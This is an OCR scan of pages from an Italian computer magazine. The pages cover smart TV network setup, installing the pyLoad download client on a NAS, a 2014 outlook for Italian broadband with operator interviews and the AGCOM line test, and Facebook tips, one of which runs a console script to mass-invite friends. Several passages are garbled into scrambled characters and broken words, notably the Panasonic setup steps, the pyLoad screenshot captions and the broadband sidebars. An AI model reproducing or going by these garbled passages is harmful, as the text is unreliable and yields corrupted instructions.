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Software | La configurazione delle Smart TV 


La configurazione 
deiie Smart TV 


Samsung, Panasonic, Philips... le impostazioni 
per abilitare i servizi Web sul proprio dispositivo 



[CONNESSIONE VIA CAVO 


1 Collegare il TV al router con un cavo Ethernet 
e premere il tasto # sul telecomando. 

2 Utilizzare i tasti cursore per selezionare O 
[Setup] e premere il tasto OK per confermare. 

3 Selezionare Connect to network (Connetti a rete) 
e premere il tasto OK. 

4 Selezionare Cablato e premere il tasto OK. Attendere 
qualche minuto per stabilire la connessione. 


CONNESSIONE WIRELESS 


(TV con modulo Wi-Fi integrato) 

1 Verificare che il router Wi-Fi sia acceso e che la 
funzione wireless sia abilitata. 

2 Accendere il TV e premere il tasto # sul telecomando 
per accedere al menu principale. 

3 Utilizzare i tasti cursore per selezionare 49F 
Setup e premere il tasto OK. 

4 Selezionare Connect to network (Connetti a rete) e 
premere il tasto OK. 

5 Selezionare Wireless e premere il tasto OK. 


Se il router di rete supporta lo standard WPS 

(Wi-Fi Protected Setup) 

A Selezionare WPS e premere il tasto OK. 

B Sul router, premere il tasto WPS. Tornare sul TV entro 
2 minuti, selezionare Connect (Connetti) e premere 
il tasto OK. Attendere qualche minuto per stabilire la 
connessione. 

Se il router di rete non supporta lo standard WPS 

A Selezionare Scan (Scansione) e premere il tasto OK: 
il router viene visualizzato con un nome o un SSID. 
Selezionare il proprio router dall'elenco e premere OK. 

B Se il proprio router non è di tipo WPS, selezionare 
Standard e premere il tasto OK. 

C Immettere la password di sicurezza impostata 
sul router. 

D Selezionare Enter key (Inserisci chiave) e premere 
il tasto OK. 

E Usare i tasti numerici de telecomando per immettere 
la chiave o premere OK per usare la tastiera sullo 
schermo. Immessa la chiave selezionare Compiuto 
e premere OK per confemiare. 

F Quando la chiave di codifica viene accettata, 
selezionare Successivo e premere il tasto OK. 



1 Usare un cavo di rete per collegare la porta ethernet 
posizionata sui retro dello Smart TV a una delle prese 
libere del tuo router. 


2 Accendere lo Smart TV: pochi secondi è il dispositivo 
ssarà pronto per navigare su internet. 


CONNESSIONE WIRELESS 


1 Premere II tasto Menu dal telecomando. 

2 Seguire il percorso RETE/IMPOSTAZIONI DI RETE. 

3 Scegliere la rete wifi e inserire la chiave d'accesso della 
stessa. Smart TV è pronta per connettersi alla rete. 



IStìARTTV 

' Panasonic 


0E1B 




1 Accedere al menu e selezionare Connessione di 
rete/Cavodirete. 

2 Selezionare impostazioni IP/DNSe mettere su Autó 1 
sia la voce Acquisire mdirìzze iP che Acquisbe 
indirizzo ONS. lo Smart TV è pronto andare sul Wel)[^ 


T Dal menu selezionare Connessone di rete/Wreless. É 

2 Selezionare Impostazioni rete wireless e scegliere il M 
punto di accesso daffelertco delle Reti Wi-Fi di^nibìlL,^ 

3 Se'd routerèWPS bisognaeseguire il pairing (assocàzìon^l 


accedete aUa sezione Impostazieni chiave dfiatura 
^ inserire la password W-R eatfivare la connessione 

un test sei^^t^ T^rficonnessio^^^^^^^^^p 


CONNESSIONE VIA CAVO] 


CONNESSIONE WIRELESS 
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’h'asforma il NAS 
in eMule machine 


La guida per installare un Client p2p sul disco di rete 
e le impostazioni avanzate per avviate download al 200% 


( dischi di rete di nuova generazione, 
meglio conosciuti come NAS, sono 
progettati per semplificarci la vita 
quotidiana e svolgere facilmente le atti¬ 
vità che sol itamente richiedono tempo 
e operazioni complicate. Ad esempio, 
per riprodurre film, musica e foto sulla 
TV di casa o su un impianto stereo fino 


a poco tempo fa eravamo costretti a 
collegare il PC al dispositivo oppure 
dovevamo dotarci di un lettore compa¬ 
tibile in grado di leggere una pendrive 
o un disco esterno. Gli attuali dischi di 
rete, permettono di installare un ser\'er 
multimediale col quale condividere in 
streaming video, foto e musica su ogni 


apparecchio DLNA/UPnP compatibile 
disponibili in casa. Ma non solo. Pos¬ 
siamo addirittura installare sul NAS 
un programma per scaricare veloce¬ 
mente dai principali siti di file hosting. 
Vediamo come configurarlo al meglio 
ricordandoci di scaricare solo contenuti 
non coperti dai diritti d’autore. 



Cosa ci 
occorre 

fWS CON FUNZIONE 1 
DCNA E aOUO STAhON | 

SYNOLOGY 
DS414 ‘ 

Quanto costa: € 217,00 
Sito Internet 
Mvwv.synology.com 

T00LP2P 

PYLOAD j 

Lo trovi su: S?CD 1<?DVD ; 
Quanto costa; Gratuito j 





il 


.1 r.Anhiar* it prrcanta ptfr Ia c»i*f lAiirA;' ìaa»* OmaIIb «liu«lr 

. pmIOLLYsVIh il* 

si titlti;r?« pyL»«4 lu ua s«rv*p • la MptsaÌMM priAcipal* i 
Pi* I t*;l) tntam* p«tp«hè« #«c>p« «w* Lm*** ««le* 

{Are il perc«p»« 4eil« cunf ifwrai! iMse? m 


«leridprA vuaftaurAPp i 1 di Acr«*.E* i 

cansivliat» prr (I fplna Avvi*. 

> 1« c«nfiyur«c'i»n« di 1 m««? s 


inf««tAPÌM>l di hé 


u«rd: 


-.-lient* Ct.1 «p «tlwp> M*d renotr Accat ta uork 

var. il anly waftt ta «i- tka waklatvpfMa yaw iMy dischi- 

hU :m,\- :a. <!»].•»>: ^ 



^ è Installiamo il software 

I Avviamo file setup.exe contenuto nel pac- 
Ghetto di pyLoad (sezione Internet àe\ Win- 
CD/DVD-Rom) e clicchiamo su Setup Assistan. 
Scegliamo la lingua di installazione e premiamo 
Invio lasciano invariate la maggior parte delle 
opzioni di default. 



-k Avviamo il servizio 

Dalla cartella Pyload cicchiamo su pyLo- 
.. .V adCore.exe: una finestra DOS ci avvi¬ 
sa dell’avvio del servizio pyLoad. Lascian¬ 
do aperta questa schermata, apriamo la pagina 
http://127.0.0.1:8000, digitiamo quindi user e 
password scelti in precedenza. Clicchiamo login. 


^ > La configurazione di base 

2 I Rispondiamo affermativamente alla doman- 
v,^da Fai la configurazione di base? pre¬ 
mendo il tasto S. Specifichiamo quindi username 
e password (da digitare due volte) per accedere 
all’interfaccia principale di pyLoad. Non abilitiamo 
l’accesso remoto. 



^ ì Selezioniamo ja cartella 
in cui salvare i download 

cucchiamo sulia voce Configurazione e da 
Menu scegliamo Generai per visualizzare (e nel 
caso cambiare) il percorso della cartella di down¬ 
load predefinita. Lasciamo invariate le altre impo¬ 
stazioni. Infine clicchiamo sul pulsante Invia. 



^ Ecco l’interfaccia Web 

2 I A questo punto, alla domanda Vuoi confi- 
gurare l'interfaccia wab? rispondiamo pre¬ 
mendo nuovamente il tasto Se subito dopo attivia¬ 
mola digitando ancora S alla successiva doman¬ 
da, indicando quindi 127.0.0.1 come indirizzo di 
ascolto e 5000 come porta. 



^ f Account Premium: ecco 
0 t come gestire i download 

Se siamo in possesso di un account pre¬ 
mium , possiamo indicare a pyLoad i dati per l'ac¬ 
cesso: Account/Aggiungi specificando username 
e password negli omonimi campi. Selezioniamo il 
servizio cui ioggarsi e clicchiamo Aggiungi. 
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0 Internet 


ParHamoiB... } ADSL 2014: sempre connessi 


ADSL 2014 : 


sempre connessi 


Banda larga sempre più veloce e fruibile anche in mobilità. 
Ecco come evolveranno nel prossimo anno le tecnologie 
per connettersi ad Internet da PC, smartphone e tablet 


L a banda larga del 2014 sarà più veloce, 
più estesa e più varia. Arriverà con tante 
tecnologie diverse, tutte in evoluzione, 
ma non sarà più economica dal momento che 
gli operatori hanno messo fine alla guerra dei 
prezzi. Aspettiamoci anzi di spendere di più per 
avere una connessione Internet ad una velocità 
maggiore di quella a cui siamo abituati. È questo 
il quadro che ci attende, a quanto è possibile 
sapere dai piani degli operatori telefonici che 
Win Magazine ha intervistato in queste pagine. 


La banda ultra larga 

La principale novità del 2014 è la banda ultra lar¬ 
ga, che si svilupperà con due reti parallele, una 
su fibra ottica e l'altra su mobile 4G (tecnologie 
Lte). La rete in fibra ottica nel 2014 dovrebbe ri¬ 
guardare una settantina di città italiane, contro 
le attuali 40 circa, grazie agli sforzi di copertura 
di Telecom Italia, Fastweb e Vodafone. Tutti gli 
operatori adotteranno la tecnologia VDSL2, che 
consente alla fibra di arrivare fino alTarmadio 
stradale situato vicino alla casa deU’utente, 


con velocità di 30 o 100 Mbps in download e 
3 0 10 Mbps in upload. Si tratterà di un tipo di 
connessione che sarà almeno da tre a quattro 
volte più veloce dell’ADSL e co.sterà da 5 a 15 euro 
in più al mese. Fastweb sembra intenzionato 
a essere l’operatore che farà pagare il minore 
sovrapprezzo per la fibra rispetto all’ADSL, ma i 
giochi sono appena cominciati. Notevole anche 
la velocità raggiunta dalla rete mobile 4G: 100 
megabit teorici. Al momento però non è corretto 
paragonare le prestazioni del 4G a quelle della 
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ADSL 2014: sempre connessi | Parliamo di... 


Internet 0 



fibra. Quando si parla di banda da 100 megabit 
bisogna tenere conto che nei caso del 4G essa 
viene divisa tra tutti gli utenti presenti nella 
stessa cella radiomobile, mentre nel caso della 
fibra essa è completamente a disposizione del 
singolo utente. In pratica, chi utilizzerà la tecno¬ 
logia 4G potrà navigare in Rete ad una velocità 
superiore rispetto alle normali ADSL, ma potrà 
avere prestazioni altalenanti durante il giorno e 
problemi di ricezione nei luoghi chiusi. Di con¬ 
tro, il 4G ha dalla sua il vantaggio della mobilità 
e vanta una copertura maggiore della fibra. Nel 
2014 crescerà inoltre la concorrenza di Wind e 
3 Italia sul 4G, tecnologia che nel 2013 è stata 
praticamente dominio di Telecom e Vodafone. 
La diffusione di queste due tecnologie a banda 
ultra larga renderà il 2014 un anno straordinario 
per navigare, insomma: un vero e proprio salto 
in avanti rispetto al passato. 

Nuovi servizi e 
pacchetti di offerta 

Le novità non si limiteranno solo alle velocità 
di connessione stratosferiche. Gli operatori in¬ 
fatti stanno anche affinando l'offerta associata 
alle connessioni Internet (vecchie e nuove). 
Aspettiamoci insomma che migliorino i servizi 
inclusi nel canone per scaricare musica e film 
e sfruttare al massimo la banda ultra larga. Gli 
operatori si dimostrano sensibili anche a un 
altro fenomeno: gli utenti ormai navigano con 
tanti dispositivi diversi, fissi e mobili. Saranno 
disponibili quindi sempre più servizi con cui 
l’utente potrà proteggere i vari dispositivi (per 


esempio la piattaforma Rete Sicura di Vodafone) 
e pacchetti di offerte per na\igare con lo stesso 
canone su vari terminali. Ottime perciò le pro¬ 
spettive perle connessioni Internet nei termini 
di prestazioni, offerte e servizi degli operatori. 

La banda larga tradizionale 

E per chi non è coperto dalle nuove reti oppure 
non vuole spendere di più per acquistare cellu¬ 
lari, chiavette o modem che supportino il 4G? 
Niente paura, ci sono buone notizie anche sul 
fronte della banda larga classica, ADSL e mobile 
3G (UMTS/HSPA fino a 42 Mbps). Crescerà 
infatti la copertura sia del 3G sia dell'ADSL, che 
al momento supera il 90% della popolazione. 
Migliorerà inoltre la copertura 3G "indoor”, 
cioè dentro casa, grazie all’uso di nuove fre¬ 
quenze a 900 MHz da parte di alcuni operatori. 
Un ruolo lo avrà anche lo Stato italiano, che sta 
utilizzando centinaia di milioni di euro di fondi 
europei per aiutare gli operatori a portare la 
banda larga nelle zone dove essa ancora non ar¬ 
riva. L’obiettivo è quello di coprire il 99,5% della 
popolazione (se non proprio il 100%) con banda 
larga ad almeno 2 Megabit entro dicembre. Non 
ci saranno invece grandi cambiamenti nelle 
offerte ADSL. I prezzi infatti dovrebbero essere 
stabili 0 subire solo un leggero calo, mentre le 
novità saranno prevalentemente concentrate 
nei pacchetti di servizi inclusi. Aspettiamoci 
sempre più offerte ADSL con chiamate illimi¬ 
tate da casa verso i cellulari italiani (oltre che 
verso fissi nazionali) e pacchetti che includono 
banda larga fissa e mobile nello stesso canone. 




radio, ma I utinzzu oer ricevere il 

© Buone le prestazioni, a prezzi analoghi 
all'ADSU senza però il canoneTelecom^ 

nonvoSarao la linea telefonoEla» 

X^SnalirAOSllunzl. 

A Son Madie trovare un operatore che 

O copra la nostra zona, soprattutto a Cen 

tro-Sud. L’attivazione può essere piu 

chinosa di quell’ADSL, per 
di un'antenna che riceva il segnale 

dell'operatore. 


% 
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Questa tecnologia ci consente di navigare in 

ranti, alberghi, aeroporti, ma anche a cas;, 
sfruttando la connessione di un vicino che ci 
ha autorizzati a farlo. È un modo piuttosto co 
mune per accedere a internet e può avere costi 
molto variabili: da 0 euro a circa 3 euro l'ora. 

Q La velocità è buona e i costi sono al solito 
V piuttosto bassi (anche gratis in piS e 
nstoranti). 

A Bisogna trovare un luogo dotato di con- 
W cessione Wi-Fi aperto al pubblico e in 

Manoneuna cosa così ffequentecome 


larga ^ alternative fuMlonalo 

O S mUi più alti dell'ADSl- 20 Megabit 

’A.'SSo in su di differenaa). Non e una 
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ADSL lenta? Verifica se è vero 


C’è solo un test che ci consente dì ottenere giustizia dal nostro operatore se l’ADSL zoppica. Si chiama Ne.Me.Sys 
ed è offerto dall’AGCOM. Vediamo subito come usarlo. 




AUTORITÀ PER LE 
GARANZIE NELLE 
AG» ’ * COMUNICAZIONI 
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JA Scarichiamo il programma 

Sul sito https;//www.misurainternet.it/ 
nemesys.php cucchiamo sul link forni e 
compiliamolo. Riceveremo un'e-mail con i nostri 
dati utente da inserire su Area Privata per sca¬ 
ricare il software Ne.Me.Sys. Qui troviamo il 
Codice licenza da digitare durante il setup. 


ji. Il test vero e proprio 

'} . cucchiamo col destro sul file del test e 
^ scegliamo Esegui come amministratore. 

Sarà eseguita una misurazione per 10-15 minu¬ 
ti ogni ora per 24 ore. Ricordiamo di non usare 
Internet né sovraffaticare la CPU, altrimenti il test 
si fermerà e ripartirà dopo 30-60 secondi. 


^ Ecco i risultati della prova! 

; Il tool genera un PDF come questo e ci 
dice se la nostra linea rispetta le pro¬ 
messe contrattuali dell'operatore. Nel caso, 
mandiamogli il PDF per raccomandata A/R 
chiedendogli di rimediare al problema. Se 
non lo risolve, potremo disdire gratis la linea. 


per navigare ovunque a prezzo fisso e con la 
migliore tecnologia disponibile (ADSL o fibra 
a casa, 3G/4G fuori casa). 

WiMax e satellite 

Si stanno espandendo pian piano anche le 
reti WiMax (evoluzione del Wi-Fi), di opera¬ 
tori come Linkem, Aria, Ngi. Questi prima 
si concentravano nelle zone non raggiunte 
da banda larga, dato che il WiMax ha prez¬ 
zi e prestazioni simili a quelle delle ADSL 7 
Megabit. Adesso però coprono anche molte 
zone dove l’ADSL è presente, per due motivi. 
Primo, perché hanno prezzi interessanti (circa 
20 euro al mese) per chi non vuole avere una 
linea fissa con cui telefonare da casa. Secondo, 


perché in alcune zone che sono in teoria co¬ 
perte da ADSL questa in realtà funziona male, 
cioè non arriva ai 4-5 Megabit raggiungibili 
a tutti gli effetti con il WiMax. Buone notizie 
nel 2014 invece per chi, per scelta o più spesso 
per necessità, adotterà una connessione sa¬ 
tellitare. Lentamente infatti stanno calando 
i prezzi, sia i canoni mensili sia quelli iniziali, 
che sono le vere barriere all’ingresso per chi 
opta per l’accesso ad Internet satellitare (in¬ 
stallazione della parabola, modem, ecc). La 
velocità è ormai maggiore a quella di un’ADSL 
tipica, ma viene ridotta in modo sostanziale 
agli utenti che superano una certa quantità 
di GB trasferiti in un mese (la soglia varia a 
seconda del canone). 


Cambio operatore e 
trasparenza dell’offerta 

Incerto il futuro dei due tasti dolenti della ban¬ 
da larga italiana: la trasparenza dell’offerta e 
11 cambio operatore. L'AGGOM (l’Autorità per 
le Garanzie nelle Comunicazioni) promette 
di spingere in questa direzione, aiutando ad 
esempio l’utente a capire se la sua connessione 
va bene e quali sono gli operatori che garanti¬ 
scono maggiore qualità dei servizi. A fine 2013 
l’AGCOM ha lanciato un osservatorio che analiz¬ 
zale velocità del le reti mobili (Vodafone prevale, 
con Telecom Italia poco distante e poi 3 Italia e 
Wind). Già da tempo sostiene Misurainternet 
(vvww.misuraintemet.it), il progetto che, oltre a 
studiare la velocità delle ADSL, mette a disposi¬ 
zione due test per misurare le prestazioni della 
propria connessione. Il primo di essi (Speed Test) 
è più veloce e fornisce il valore istantaneo della 
qualità dell’accesso alla Rete, mentre il secondo 
(Ne.Me.Sys) è più lento, ma è anche il solo che 
consenta di rivalersi sull’operatore se le pre¬ 
stazioni dell’ADSL non rispettano le promesse 
contrattuali (un minimo di 2 Megabit per le 
ADSL 7 Megabit, per esempio). Più complicato 
sarà risolvere il secondo nodo: sono ancora 
tanti gli utenti che si lamentano di non riuscire 
a cambiare con facilità il proprio operatore. La 
situazione però sta migliorando e forse nel 2014 
questo problema diverrà meno grave. Anche 
perché sarebbe un peccato non poter passare 
subito aUe nuove offerte a banda ultra larga che 
si moltiplicheranno nel prossimo anno. 


CAMBIARE OPERATORE^ ECCO LS BCGOi 


La nostra ADSL va male? Eseguiamo il test 
Ne.Me.Sys (vedi macropasso in atto). Se i risultati 
confermano il disservizio (rispetto alle promesse 
contrattuali qui riassunte: www.misurainternet. 
it/offerte_adsl.php), possiamo reclamare con 
una raccomandata A/R allegando il PDF gene¬ 
rato da Ne.Me.Sys. Passati 30 giorni dal reclamo, 
possiamo ripetere il test. Se la situazione non è 
migliorata, abbiamo diritto a cambiare opera¬ 
tore gratis, risparmiando i costi di disdetta. Se 
vogliamo poi migliorare la qualità, scegliamo 
un operatore che copra la nostra zona con la 
sua linea diretta o di unbundiing, meglio se a 
20 Megabit (facciamo una ricerca con il nostro 


numero telefonico sul suo sito per capire che 
tipo di offerta e di copertura è disponibile). 
Meglio ancora sarebbe passare a un'offerta in 
fibra, che però ad oggi tocca solo il 20% della 
popolazione. Se vogliamo cambiare operatore 
non inviamo la disdetta della linea attuale: 
faremmo salire i costi e i tempi di passaggio. 
Mandiamo invece la richiesta di attivazione al 
nuovo operatore, che sbrigherà le pratiche di 
cambio linea senza che si verifichino periodi 
di blackout. Il consiglio è di richiedere il nuovo 
servizio on-line dal sito dell'operatore, dove ci 
verrà richiesto il codice di migrazione della linea 
(lo troviamo nell'ultima bolletta). 
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INTERNET 2C14: COSA CI RISERVANO GLI OPERATORI 

Abbiamo chiesto a tutti i principali fornitori di connessione a banda larga fìssa e mobile 
quali sono le loro offerte e le novità del prossimo anno. 

41 vodoFone 

Non siete famosi per i prezzi bassi, ma per la qualità della rete. Almeno 
sul mobile. Sul fisso come intendete distinguervi? Lo abbiamo chiesto a 
Gianluca Pasquali, direttore Strategy di Vodafone Italia. 

Sì, il nostro primo punto di forza è la qualità del servizio e della rete, come re¬ 
centemente rilevato anche dalla campagna Misura internet mobile di AGCOM 
che ha riconosciuto la rete mobile di Vodafone prima per velocità media di 
download. E poi ci sono le offerte, che sul mobile sono sempre più integrate e 
personalizzate. Dalle offerte Relax con formula "Ali-inclusive", per i clienti con alti 
volumi di traffico, alla formula “Scegli Tu" che consente ai clienti di risparmiare 
componendo il proprio piano sulla base delle specifiche esigenze, senza pagare 
per quello che non usano. Nel mondo della rete fissa l'offerta in fibra Vodafone, 
disponibile in prova per 6 mesi allo stesso prezzo dell'ADSL, consente al cliente di 
essere sempre connesso sia a casa sia fuori casa. Oltre alla connessione illimitata e 
a tutte le chiamate verso telefoni fissi e cellulari Vodafone, sono infatti inclusi una 
chiavetta Internet con 1 GB di traffico dati in mobilità e il routerWi-Fi Vodafone. 

Nel 2014 come intenderete accelerare sul fronte della qualità della rete? 

Da parte nostra ci sarà un'ulteriore accelerazione nella strategia di investimento 
e di differenziazione sulla banda ultralarga. Vodafone, che già oggi offre i servizi 
4G in 46 principali città e località turistiche e la banda larga mobile a 43,2 Mbps 
in circa 600 comuni italiani, estenderà ulteriormente la copertura e la capacità 
delle reti 3G e 4G. 


TELECOM 


ì ITALIA 

Abbiamo chiesto a Luigi Zabatta, Responsabile Fixed Market Consumer 
di Telecom Italia, perché dovremmo prendere una loro offerta a banda 
larga fissa, visto che i concorrenti sono più economici... 

Le soluzioni Internet diTelecom Italia si distinguono per la loro completezza 
riguardo alla qualità della connettività e ai prodotti e contenuti offerti, al 
fine di soddisfare le esigenze della nostra clientela. Recentemente abbiamo 
lanciato "Tutto", l'offerta ADSL che include Internet e chiamate illimitate 
verso i fìssi e i cellulari, formula replicata anche per i servizi in fibra ottica 
con l'offerta "TuttoFibra", nelle città già raggiunte da questa tecnoiogia. 
Riteniamo che i nostri punti di forza siano semplicità, qualità e affidabilità. 

Che cosa possiamo aspettarci da voi nel 2014? 

Linnovazione è parte integrante della nostra azienda e stiamo lavorando per 
un 2014 ricco di importanti novità. Per il tema Ultrainternet continuano gli 
investimenti per modernizzare le infrastrutture: prevediamo di arrivare ad 
offrire nel breve periodo a circa 4 milioni di famiglie una nuova esperienza 
di navigazione con le nostre offerte in fibra ottica. Con ilTriple Play vogliamo 
offrire i contenuti con laTVon demand Cubovision, che si arricchisce anche 
grazie alla recente partnership con Sky. Per il Digital Life continuiamo sulla 
strada già intrapresa, quella di creare un ecosistema digitale. 


SaRICA II TESTO ^ 
COMPLETO DEUE \ 
INTERVISTE ^ 



WIND 

Quali sono le particolarità e i punti di forza della 
vostra offerta Internet mobile? Lo abbiamo chiue- 
sto a Marco Trattini, Direttore Consumer and SME 
Marketing diWind. 

La strategia di Wind sui Mobile Internet ha l'obiettivo 
di garantire la miglior "user experience" passibile ai 
propri clienti, fornendo un iivello di banda commi¬ 
surato aiie reali necessità, indipendentemente dalla 
tecnologia utilizzata. L'attuale scenario di mercato è 
caratterizzato da una crescente richiesta di Internet 
da parte di clienti sempre più "connessi". I trend di 
mercato tracciano una inarrestabile diffusione di 
smartphone e tablet grazie ai quali i clienti hanno 
modificato il modo di comunicare e di interagire con 
la propria community. La fruizione e la condivisione 
di contenuti diventa sempre più multi-devicee multi- 
piattaforma. Wind ha soddisfatto questa esigenza 
lanciando, per prima in Italia, offerte dedicate ai clienti 
in possesso di più device (smartphone e tablet) per 
navigare con entrambi a condizioni promozionali. Ad 
esempio, i clienti'All Inclusive'possono navigare da 
smartphone con un'offerta integrata che comprende 
voce, messaggi e Internet a partire da 9 euro al mese, 
e in più con la promo'Digital Super Sim'possono 
avere Internet illimitato da tablet o da PC su una SIM 
aggiuntiva a partire da 3 euro al mese. 



Abbiamo chiesto a Roberto Forte, direttore 
Marketing di 3 Italia, come mai l'operatore ha 
sempre puntato sulla Internet mobile e quali 
sono i loro punti di forza ora che lo fanno anche 
i concorrenti. 

La mission di"3"è quella di offrire il meglio della 
tecnologia e dei servizi a prezzi accessibili. Ma 
la convenienza non va a discapito della qualità. 
Questo è quello che noi chiamiamo "value for 
money'! Oltre alle offerte per smartphone, tablet 
e chiavette, le più competitive per costo al GB, 
"3" dispone di un'offerta integrata chiamata "In¬ 
ternet a casa"che unisce alla convenienza degli 
abbonamenti TOP"all inclusive"(disp)onibili da 10 
euro al mese) la possibilità di affiancare WebCube, 
un dispositivo indoor esclusivo progettato da 3 
Italia, por navigare in Wi-Fi fino a 42 Mega (a breve 
anche in LTE) sulla rete mobile di "3". WebCube 
permette di coilegare fino a 5 diversi dispositivi 
contemporaneamentea partire da 3 euro al mese 
in aggiunta al canone dei piani TOP. Per il 2014 
continueremo ad investire nella rete Internet 
mobile ultraveloce e porteremo i servizi LTE a 100 
Mega in tutti i capoluoghi (più di 100 città) enti-o 
la fine del 2014. 

V _ J 



Wind è nota per la banda larga. In fibra e AD¬ 
SL, ma come intende continuare su questa 
tradizione? Lo abbiamo chiesto a Marcello 
Milani, responsabile marketing Business Unit 
Consumer e Microbusiness. 

FASTWEB offre da sempre la migliore tecnologia 
disponibile sul territorio per garantire ai propri 
clienti la migliore connessione alla rete Internet. In 
particolare, offre il collegamento in fibra ottica con 
velocità sino a 100 megabit al secondo in molte 
città. Nel resto d'Italia offre collegamenti in ADSL 
fino a 20 megabit al secondo in download e 1 me¬ 
gabit al secondo in upload, il massimo garantito 
oggi da questa tecnologia. Indip)endentemente 
dalla tecnologia di collegamento (fibra o ADSL). 

Progetti per il 2014? 

FASTWEB è l'unico operatore alternativo che ha 
sviluppato una rete nazionale in fibra ottica che 
attualmente si estende per 35.000 chilometri e 
raggiunge circa il 50% della popolazione italiana, 
di cui il 10% attraverso il Fiber to thè Home, il 
collegamento in fibra ottica fino a casa del cliente 
(2 milioni di case raggiunte). Abbiamo inoltre 
annunciato un piano nazionale per l'espansione 
della propria rete in fibra investendo 400 milioni 
di euro per l'ulteriore estensione della rete. 
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1 Spedale trucchi | Social network 


Facebook: funzioni 
non documentate 


Dietro bacheche e messaggi, i sociai network nascondono 
impostazioni nascoste tutte da svelare. Scopriamole insieme... 


P assiamo la maggior parte 
del nostro tempo sul social 
network, eppure conosciamo 
solo la superfice delle piattaforme 
che hanno rivoluzionato il concet¬ 
to di Internet e della condivisione. 
Ad esempio, nonostante molti di 
noi trascorrono ore su Facebook, 
nessuno si è mai spinto oltre le 


bacheche, le pagine pubbliche e 
la Chat, ignorando del tutto l'esi¬ 
stenza di funzioni e strumenti che 
aspettano solo di essere scoperti; 
e lo stesso vale anche per altri po¬ 
polari social network. Leggendo 
le pagine che seguono scoprire¬ 
mo tantissimi usi alternativi del 
social network sbirciando tra le 


funzionalità nascoste più interes¬ 
santi. Per farlo ci serviremo del 
browser Chrome e di tutti i suoi 
utili strumenti grazie ai quali po¬ 
tremo diventare veri esperti di 
Facebook&Co.! Vestiamo allora i 
panni dello smanettone e partia¬ 
mo alla scoperta del lato nascosto 
dei social network. 


'-ss* 

f Cosa ci 

BROWSER WEB ^ 

GOOGLf CHROME | 

; Lo trovi su: 0CO 0 DVD | 

? Sito Internet t 

■^^wivw.googlait ^ 


n UNO PER TUTTI, 
mm PER UNO 

Grazie a un piccolo back, possiamo invi¬ 
tare tutti gli amici a una pagina o evento 
senza doverli selezionare uno per uno. 

Estraiamo dal supporto allegato alla rivista l’ar¬ 
chivio TrucchiFacebook-zip (presente nella 
sezione Internet6e\ Win CD/DVD-Rom) e co¬ 
piamo negli appunti di Windows il codice pre¬ 
sente nel file di testo Inviti multipli Pagine, txt 
0 Inviti multipli Eventi.txt. Apriamo la pagina 
pubblica 0 l'evento da promuovere e cucchia¬ 
mo sul collegamento Mostm tutti che trovia¬ 
mo subito sopra il pulsante Inviti. Scorriamo 
l'elenco dei contatti fino in fondo, facciamo clic 
con il tasto destro del mouse sull'ultimo nome 
della lista e selezioniamo Ispeziona elemen¬ 
to. Spostiamxi nella scheda Console, incol¬ 
liamo il codice copiato in precedenza usan¬ 
do la combinazione CtrI+Ve clicchiamo In¬ 
vio per avviare l’invio automatico degli inviti. 



UNAt_ 

Pm OGNI ESIGENZA 


Se per un motivo o un altro abbiamo l’esi¬ 
genza di gestire più account Facebook, 
con un add-on per il browser Chrome sarà 
molto più semplice spostarsi tra i profili e 
ricevere le notìfiche ognuno di essi. 
Avviamo Chrome, colleghiamoci all'indirizzo 
www.winmagazine.it/link/2361 e clicchiamo 
su Srafrsconfermando con Aggiungila volon¬ 
tà di installare l’add-on.Terminata l'installazio¬ 
ne facciamo clic con il tasto destro del mouse 
sul pulsante FS presente alla destra della bar¬ 
ra degli ndirizzi e scegliamo Opzioni. Indichia¬ 
mo i dati di login dei profili Facebook da ag¬ 
giungere, personalizziamo a piace'e le opzio¬ 
ni che r guardano le notifiche (Show advan- 
cedoptionSi e salviamo (Sav^. Ciccando ora 
sul pulsante FB potremo scegliere a quale ac¬ 
count collegarci senza nemmeno più dover in¬ 
serire la password. Inoltre, riceveremo ie notifi¬ 
che da tutti gli account configurati direttamen¬ 
te sul Desktop. 




!VIODiF>CHIAMO 

' COUiGAMENT 


Il tìtolo e la descrizione dì un collegamento 
condiviso su Facebook possono essere 
modificatì prima della pubblicazione. 

Incolliamo il collegamento nella casella A co¬ 
sa staipensandoe attendiamo l'importazione 
del contenuto. Facciamo clic sul titolo o sulla 
descrizione, modifichiamo il testo e pubblichia¬ 
mo. In modo analogo la modifica può avvenire 
anche quando avviamo la condivisione dai pul¬ 
santi Facebook presenti nei siti Web. 




ONO SU FACEBOO; 
ENZA DIRE NULU 


Non abbiamo nulla da esprimere ma vo¬ 
gliamo comunque comunicare la nostra 
presenza su Facebook? Possiamo farlo 
pubblicando uno stato “vuoto”. 

Digitiamo nella casella di stato un post con¬ 
tenente la sequenza di caratteri @[0:0:] e 


60 WinMagazIne Gennaio 2014 

































Social network | Speciale trucchi 


Internet 


pubblichiamo cliccando Pubblica. Come po¬ 
tremo notare lo stato sarà privo di testo ma 
comunque perfettamente visibile (un sempli¬ 
ce post senza testo, invece, non viene pub¬ 
blicato). Il trucco, oltre che sulla nostra, fun¬ 
zionerà anche sulla bacheca dei nostri amici. 




PIÙ ACCOUNT 
0 PIU UTENTI 


L’utilizzo di account multipli su Facebook, cosi come per tutti gii 
altri social network e servizi Web che utilizziamo, è possibile an¬ 
che creando più utenti nel browser Chrome.Troviamo l'opzione 
nella sezione Ute/tt» delle Impostazioni di Chrome. 



METTI LA FIRMA SUL 
UBRO DEGÙ OSPITI 


DESTINATARI 
IMULTIPU PER 
I NOSTRI MESSAGGI 


Cerchiamo un espediente per inviare un 
messaggio a tutti gli amici o solo ad al¬ 
cuni di essi? Ecco come fare sfruttando 
gli Eventi di Facebook. 

Visitiamo la pagina degli eventi su Facebook e 
dicchiamo su Crea evento. Digitiamo nel cam¬ 
po Nome l'oggetto del messaggb e tralascianro 
le informazioni Dettagli. Dove e Quando. Set- 
tiamo l’impostazione Privacy su Solo su invito 
e deselezioniamo Gli invitati possono invitare 
altri amici Clicchiamo su Invita amici selezio¬ 
niamo i contatti interessati (per selezionarli tutti 
possiamo ricorrere all’hack riportato nel trucco 
Uno per tutti, tutti per unói e creiamo l’evento. 
Spostiamoci sulla bacheca dell’evento e pubbli¬ 
chiamo il messaggio che sarà istantaneamente 
recapitato a tutti i contatti scelti anche via e-mail. 


> mvaiu Q 

r “T] 


é 


La pagina dell’amicizia è una particolare 
bacheca che riunisce conversazioni, con¬ 
divisioni, amici e foto in comune con un 
nostro contatto o tra due persone. Ecco 
come crearla e personalizzarla. 

Apriamo il profilo di un nostro contatto, dicchia- 
mo suil’ingranaggio che troviamo alla destra del 
pulsante Messagg/b e selezioniamo l’opzione 
